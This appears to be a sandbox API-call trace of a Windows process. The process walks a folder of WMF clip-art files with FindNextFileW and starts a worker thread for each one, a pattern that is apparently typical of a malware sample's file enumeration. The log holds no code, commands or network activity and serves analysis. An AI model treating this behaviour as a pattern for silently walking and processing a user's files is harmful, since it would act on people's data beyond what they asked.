	[0240.218] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bcc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187847.WMF", cAlternateFileName="")) returned 1
	[0240.218] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.219] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bb4
	[0240.221] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.222] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187849.WMF", cAlternateFileName="")) returned 1
	[0240.222] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bb8
	[0240.297] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.303] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x221c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187851.WMF", cAlternateFileName="")) returned 1
	[0240.303] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bbc
	[0240.305] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.306] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187859.WMF", cAlternateFileName="")) returned 1
	[0240.306] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc0
	[0240.308] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.309] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187861.WMF", cAlternateFileName="")) returned 1
	[0240.309] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc4
	[0240.311] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.312] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a44, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187863.WMF", cAlternateFileName="")) returned 1
	[0240.312] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc8
	[0240.314] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.315] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1258, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187881.WMF", cAlternateFileName="")) returned 1
	[0240.315] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0240.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f08f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bcc
	[0240.316] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.317] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x834, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187883.WMF", cAlternateFileName="")) returned 1
	[0240.546] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bd8
	[0240.549] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.549] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187893.WMF", cAlternateFileName="")) returned 1
	[0240.549] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bdc
	[0240.552] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.553] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187895.WMF", cAlternateFileName="")) returned 1
	[0240.553] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1be0
	[0240.555] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.556] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0187921.WMF", cAlternateFileName="")) returned 1
	[0240.556] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1be4
	[0240.558] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.558] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29dc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0188511.WMF", cAlternateFileName="")) returned 1
	[0240.558] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1be8
	[0240.561] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.561] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3004, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0188513.WMF", cAlternateFileName="")) returned 1
	[0240.561] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bec
	[0240.563] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.564] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0188519.WMF", cAlternateFileName="")) returned 1
	[0240.564] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bf0
	[0240.566] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.569] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b5c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0188587.WMF", cAlternateFileName="")) returned 1
	[0240.569] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.570] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bf4
	[0240.571] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.572] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e9e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0188667.WMF", cAlternateFileName="")) returned 1
	[0240.572] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.573] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bf8
	[0240.574] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.574] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73a2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0188669.WMF", cAlternateFileName="")) returned 1
	[0240.574] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.575] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bfc
	[0240.577] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.578] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x336a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0188679.WMF", cAlternateFileName="")) returned 1
	[0240.578] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c04
	[0240.579] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.580] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0195248.WMF", cAlternateFileName="")) returned 1
	[0240.580] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c08
	[0240.792] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.793] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81dcbf00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81dcbf00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0195254.WMF", cAlternateFileName="")) returned 1
	[0240.793] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c40
	[0240.795] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.796] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85704600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85704600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x207a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0195260.WMF", cAlternateFileName="")) returned 1
	[0240.796] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c54
	[0240.798] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.799] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98831600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98831600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x72f8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0195320.WMF", cAlternateFileName="")) returned 1
	[0240.799] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c58
	[0240.801] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.802] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9338c00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9338c00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x5350, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0195342.WMF", cAlternateFileName="")) returned 1
	[0240.802] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c5c
	[0240.803] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.804] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48be, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0195428.WMF", cAlternateFileName="")) returned 1
	[0240.804] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c60
	[0240.806] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.807] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe60, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0195772.WMF", cAlternateFileName="")) returned 1
	[0240.807] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c64
	[0240.808] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.809] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbbc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0195788.WMF", cAlternateFileName="")) returned 1
	[0240.809] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c68
	[0240.812] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0240.813] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0196060.WMF", cAlternateFileName="")) returned 1
	[0240.813] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2760000
	[0240.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c6c
	[0240.814] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
